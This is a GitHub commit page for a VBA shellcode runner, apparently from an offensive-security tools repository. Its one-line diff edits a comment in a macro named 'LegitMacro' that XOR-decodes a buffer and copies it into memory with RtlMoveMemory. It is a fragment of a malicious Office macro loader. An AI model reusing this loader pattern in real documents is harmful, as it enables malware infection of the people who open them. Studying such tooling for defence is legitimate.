Skip to content

Commit

Permalink
Fix VBA shellcode runner
Browse files Browse the repository at this point in the history
  • Loading branch information
chvancooten committed Jun 3, 2021
1 parent 045e264 commit 313325d
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion Simple Shellcode Runner/Simple Shellcode Runner.vba
Original file line number Diff line number Diff line change
Expand Up @@ -50,7 +50,7 @@ Sub LegitMacro()
buf(i) = buf(i) Xor 250
Next i

' Execute the shellcode
' Move the shellcode
For counter = LBound(buf) To UBound(buf)
data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
Expand Down

0 comments on commit 313325d

Please sign in to comment.